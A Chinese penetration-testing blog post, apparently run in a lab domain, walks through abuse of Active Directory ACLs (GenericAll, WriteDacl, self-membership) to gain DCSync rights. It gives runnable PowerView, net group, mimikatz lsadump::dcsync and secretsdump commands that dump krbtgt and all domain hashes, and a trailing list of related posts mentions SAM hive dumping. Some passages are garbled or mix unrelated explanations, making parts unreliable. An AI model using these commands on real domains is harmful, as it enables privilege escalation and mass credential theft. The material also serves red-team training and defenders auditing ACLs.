<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透 域ACL攻防

    一顆小胡椒2022-07-20 10:44:00

    windows訪問控制模型

    在Active Directory中設置權限,其方式與在文件中設置權限的方式幾乎相同。權限控制都是使用windows訪問控制模型

    windwos訪問控制模型包含以下部分

    1、訪問令牌(Access Tolen)

    2、包含用戶的標識(User SID,Group SID S),以及特權列表

    3、安全描述符(security identifiers)

    4、被訪問的安全對象的相關安全信息

    這里的安全對象包括但不限于

    · NTFS卷上的文件和目錄

    · 注冊表項

    · 網絡共享

    · 服務

    · Active Directory對象

    · 進程等

    Access Token

    access Token用于基于Token的認證模式,允許應用訪問一個資源API。用戶認證授權成功后,Authing會簽發Access Token給應用。應用需要攜帶Access Token訪問資源API,資源服務API會通過攔截器檢查Access TOken中的scope字段是否包含特定的權限項目,從而決定是否返回資源

    系統使用訪問令牌來標識用戶,訪問令牌包括用戶的SID、所在組的SID等信息

    安全描述符

    SID(Security Identifiers)即安全描述符

    安全描述符標識對象的所有者,并包含以下訪問控制列表

    1、Discretionary Access Control List(DACL)自由訪問控制列表

    2、System Access Control List(SACL)系統訪問控制列表

    每一種控制列表中都存在若干條ACE(Access Control Entries)訪問控制條目

    查看domain user屬性->安全->高級

    安全描述符由Header、SID、DACL和SACL組成

    ACE是針對特定用戶或特定組的單個權限授予(或拒絕權力)的配置結構。ACE有許多不同類型,但是在Active Directory的權限中,只有四種不同的含義,兩種分別用于授權和拒絕權限。

    Access Mask

    在ACE中有Access Mask這個字段,它代表著此條ACE所對應的權限,比如完全控制(GenericALl)、修改密碼(RestPassword)、寫入屬性(WriteMembers)等等

    Trustees

    Trustees的意思為受委托人,受委托是一個ACE所應用到的用戶賬戶,組賬戶或者是登錄會話。也就是說,誰是一個ACE的受托者,那么這條ACE中的Access Mask所對應的權限(可能是拒絕可能是通過)就會賦予受托者

    域里常見可利用的ACL

    · GenericAll :授予目標對象的完全控制權,包括WriteDacl和WriteOwner特權。

    · GenericWrite :此權限能夠更新目標對象的屬性值

    · Self-Membership :這條權限指的是某個賬戶能夠把自身添加到某個組的權限(需要在某個組的高級權限中添加ACE,也就是說針對的是組對象)

    · WriteProperty :WriteProperty直譯為寫所有權。這個權限利用針對的對象為組對象,能夠賦予賬戶對于某個組的可寫權限

    · WriteOwner :WriteProperty on Group說的是對一個組具有WriteProperty權限的情況下,“寫入全部屬性”除了WriteProperty還包括了其他的權限

    · WriteDacl :WriteDacl允許委托人修改受影響對象的DACL。這意味著攻擊者可以添加或刪除特定的訪問控制項,從而使他們可以授予自己對對象的完全訪問權限。因此,WriteDacl是在鏈中啟用其他權利的權利。

    GenericAll

    nami\users用戶的權限

    將nami\users權限設置完全控制

    執行powershell命令查看test用戶的GenericAll權限項,這些權限項對應的就是ACE的有效訪問

    .\SharpView.exe Get-ObjectAcl -SamAccountName test -ResolveGUIDs
    

    在域控上設置test用戶的DACL,添加nami用戶對test的完全控制

    再次查詢test用戶的DACL,就會發現ActiveDirectoryRights屬性等于GenericAll的acl發現多了一條

    Get-ObjectAcl -SamAccountName nami -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
    

    這條ACL的含義是:

    nami賬戶對test賬戶具有完全管理(GenericALL)權限

    可以看到在設置DACL之前和之后的區別,設置ACL之后是立即生效的。然后使用runas命令就可以直接創建一個tset權限的cmd窗口:

    擁有這個權限可直接DCSync,dump哈希

    GenericAll on Group

    GenericAll on Group 是對一個組有GenericAll權限,使用命令查看用戶組

    Get-NetGroup "domain admins"
    

    此時nami和test均為域內普通權限用戶,然后再管理員組domain admins的DACL中加入nami的GenericALL權限

    完全控制權限

    再次去查詢使用命令查看domain admins的權限。可以看到一條SID為nami的SID,權限為GenericAll

    Get-ObjectAcl -ResolveGUIDs| ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC
    

    然后嘗試將test加入domain admins組

    net group "domain admins" test /add /domain
    net group "domain admins" test /del /domain
    

    將nami的GenericAll權限在domain admins移出之后,再次執行就會被拒絕

    擁有這個權限可直接DCSync,dump哈希

    WriteDacl

    WriteDacl允許委托人修改受影響對象DACL。這意味著攻擊者可以添加或刪除特定的訪問控制項,從而使他們可以授予自己對對象的完全訪問權限。因此,WriteDacl是在鏈中啟用其他權利的權利。

    當前擁有WriteDacl權限,沒有DCSync權限。

    Get-ObjectAcl -SamAccountName "nami" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights-like "*dacl*"}
    

    自己向自己寫入DSCync權限

    powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity \"DC=nami,DC=com\" -PrincipalIdentity nami -Rights DCSync -Verbose}"
    Add-DomainObjectAcl -TargetIdentity "DC=nami,DC=com" -PrincipalIdentity nami -Rights DCSync -Verbose
    

    寫入成功之后,直接dump哈希

    Self (Self-Membership) on Group

    這條權限指的是某個賬戶能夠把自身添加到某個組的權限(需要在某個組的高級權限中添加ACE,也就是說針對的是組對象)

    可以把自身加入域管理員組

    已經加入域管理員組

    添加到管理員組,可以直接DCSync。

    注意:添加到管理員組之后需要重新登錄才可以DCSync

    WriteProperty on Group

    對一組具有WriteProperty權限的情況下,"寫入全部屬性"除了WriteProperty還包括了其他的權限

    CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, GenericRead, WriteDacl, WriteOwner

    在Domain Admins組的列表中添加寫入全部屬性,會生成一條新的ACE,訪問會被標記為特殊

    添加ACE前后

    同樣加入到管理員組就可以DCSync

    ACL相關的攻擊方式-DCSync攻擊

    什么是DCSync?

    在域環境中,不同域控制器(DC)之間,每15分鐘都會有一次域數據的同步。當一個域控制器(DC1)想從其他域控制器(DC2)獲取數據時,DC1會向DC2發起一個GetNCChanges請求,該請求的數據包括需要同步的數據。如果需要同步的數據比較多,則會重復上述的過程。DCSync就是利用的這個原理,通過Directory Replication Service(DRS)服務的GetNCChanges接口向域控發起數據同步請求。域控制器之間的數據同步復制

    但是在2015 年 8 月份, Mimkatz新增了一個主要功能叫"DCSync",使用這項技術可以有效地 "模擬" 域控制器并從目標域控上請求域內用戶密碼hash

    DCSync攻擊的對象如果是只讀域控制器(RODC),則會失效。因為RODC是不能參與復制同步數據到其他DC的

    DCSync需要什么權限

    一個域內用戶想要通過DCSync獲取krbtgt的HASH值需要在域對象或者域內的高權限組中有以下權限:

    復制目錄更改Replicating Directory Changes (DS-Replication-Get-Changes)

    復制目錄更改所有Replicating Directory Changes All (DS-Replication-Get-Changes-All)(Exchange用的就是這個)

    這幾個權限在DACL的設置中可以看到

    寫入一個DCSync

    在域控中給一個用戶添加DCSync權限,使用powerviewer.ps1的Add-DomainObjectAcl函數實現

    Add-DomainObjectAcl -TargetIdentity "DC=nami,DC=com" -PrincipalIdentity win7 -Rights DCSync
    

    powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=nami,DC=com\" -PrincipalIdentity win7 -Rights DCSync -Verbose}"
    

    在DACL這里新增了一條ACE

    使用win7用戶導出hash,這里不需要debug權限也可以直接dump哈希,因為DCSync去向域控發起請求,并非本地操作,為網絡請求。

    mimikatz.exe "lsadump::dcsync /user:krbtgt" "exit"mimikatz.exe "lsadump::dcsync /user:all" "exit"mimikatz.exe "log Micropoor.txt"  "lsadump::dcsync /domain:nami.com /all /csv " "exit"
    

    刪除一個DCSync

    powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity test -Rights DCSync -Verbose}"
    

    Remove-DomainObjectAcl -TargetIdentity "DC=nami,DC=com" -PrincipalIdentity nami -Rights DCSync -Verbose
    

    再次DSCync被拒絕

    查詢具有DCSync權限的用戶

    Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType  -match "DS-Replication-Get-Changes"}Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType  -match "Replicating Directory Chan
    

    使用Adfind查找

    AdFind.exe -s subtree -b "DC=nami,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmuteAdFind.exe -s subtree -b "DC=nami,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes All";; -recmute
    

    我又增加了一個test用戶

    若拿到用戶為以下組的用戶,即可直接寫入DCSync功能,從而dump哈希

    Administrators組內的用戶

    domain admins組

    enterprise admins組

    域控制器的計算機賬戶

    查看用戶所具備的ACL

    Get-DomainObjectAcl -Identity nami -domain nami.com -ResolveGUIDs
    

    Exchange

    Exchange 2019之前的版本

    安裝好exchange之后,Exchange會添加一個名為 Microsoft Exchange Security Groups ,其中包括幾個特殊的組:

    Exchange Trusted Subsystem

    Exchange Windows Permission

    Organization Management

    如果獲得了這三個組內任意用戶的控制權限,就能夠繼承該組的WriteDACL權限,進而修改域對象的ACL。

    默認情況下,Exchange Windows Permissions對安裝Exchange的域對象具有WriteDacl權限,那么Exchange Trusted Subsystem也會繼承這個權限

    其中Exchange Trusted Subsystem是Exchange Windwos Permissions的成員

    添加一個win7的成員,如果對域對象具有了WriteDACL權限,就能夠為指定域用戶添加ACE,其獲得利用DCSync導出域內所有用戶hash的權限

    查看當前的權限

    whoami /groups

    或者使用命令添加一個用戶到Exchange Trusted Subsystem組

    net user test2 test2@123 /add /domainnet group "Exchange Trusted Subsystem" test2 /add /domainpython3 secretsdump.py nami/test2:test2@123@10.0.20.16 -just-dc-user krbtg
    

    裝了Exchange2遍沒裝成功,,,

    當有了WriteDacl權限之后就可以自己向自己寫入一條ACE,上面有寫到,然后就可以dcsync了

    testdomain
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    攻擊者在獲取到域控權限后,可以利用約束委派或者基于資源的約束委派實現后門,以實現達到維持權限的目的。基于AD Event日志監視對特定 Active Directory 屬性的修改,從而發現可疑的域委派后門。設置約束委派setspn -U -A cifs/test test
    萌新如何玩轉mimikatz
    2022-08-29 06:48:46
    暑假快到了,身邊好多師傅都開啟了"卷王"模式,而我也在南城師傅的幫助下開始了內網這個新征程;mimikatz就是我遇見的一個坎,我希望記錄下這個過程,盡可能的幫助大家更快的掌握mimikatz的用法和技巧。最后,再次謝謝南城師傅對本文的指導與幫助!!
    SharpSpray這是一個域內的密碼噴射評估工具,能通過ldap收集用戶名,并根據密碼設置策略進行自動域內的密碼噴射評估。SharpSpray是對SharpHose項目進行改造實現的,解決了原項目中無法在域外爆破、無法進行批量密碼爆破等問題,并內置了三個域內高頻率口令。
    原理黃金票據的原理就是用krbtgt的hash來偽造TGT的內容。第四步主要是來驗證客戶端的身份。所謂的黃金票據其實就是kerberos認證的第二個階段中的tgs的ticket也就是TGT。
    記一次常規的域滲透
    2023-03-30 09:48:11
    @#45""okkkkkkkkkk,嘗試登錄:發現卡巴斯基和edr,直接關閉:私密馬賽,我沒能關掉,嘗試通過導出密碼拿下高用戶的權限:reg save hklm\sam sam.hivereg save hklm\system system.hive本地secertdump解密這里我是從遠程桌面托文件下來所以很卡,只選擇下載了兩個文件,security可以選擇不下載:python secretsdump.py -system system.hive?
    內網滲透 域ACL攻防
    2022-07-20 10:44:00
    用戶認證授權成功后,Authing會簽發Access Token給應用。ACE有許多不同類型,但是在Active Directory的權限中,只有四種不同的含義,兩種分別用于授權和拒絕權限。
    CVE-2020-1472攻擊過程
    2021-12-17 16:42:22
    在去年9月份,國外披露了CVE-2020-1472(又被叫做ZeroLogon)的漏洞詳情,網上也隨即公開了Exp。 是近幾年windows上比較重量級別的一個漏洞。通過該漏洞,攻擊者只需能夠訪問域控的445端口,在無需任何憑據的情況下能拿到域管的權限。 該漏洞的產生來源于Netlogon協議認證的加密模塊存在缺陷,導致攻擊者可以在沒有憑證的情況情況下通過認證。該漏洞的最穩定利用是調用netl
    在大多數情況下,攻擊者可以通過定位域管理員所登錄的服務器,利用漏洞獲取服務器system權限,找到域管理的賬號、進程或是身份驗證令牌,從而獲取域管理員權限。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类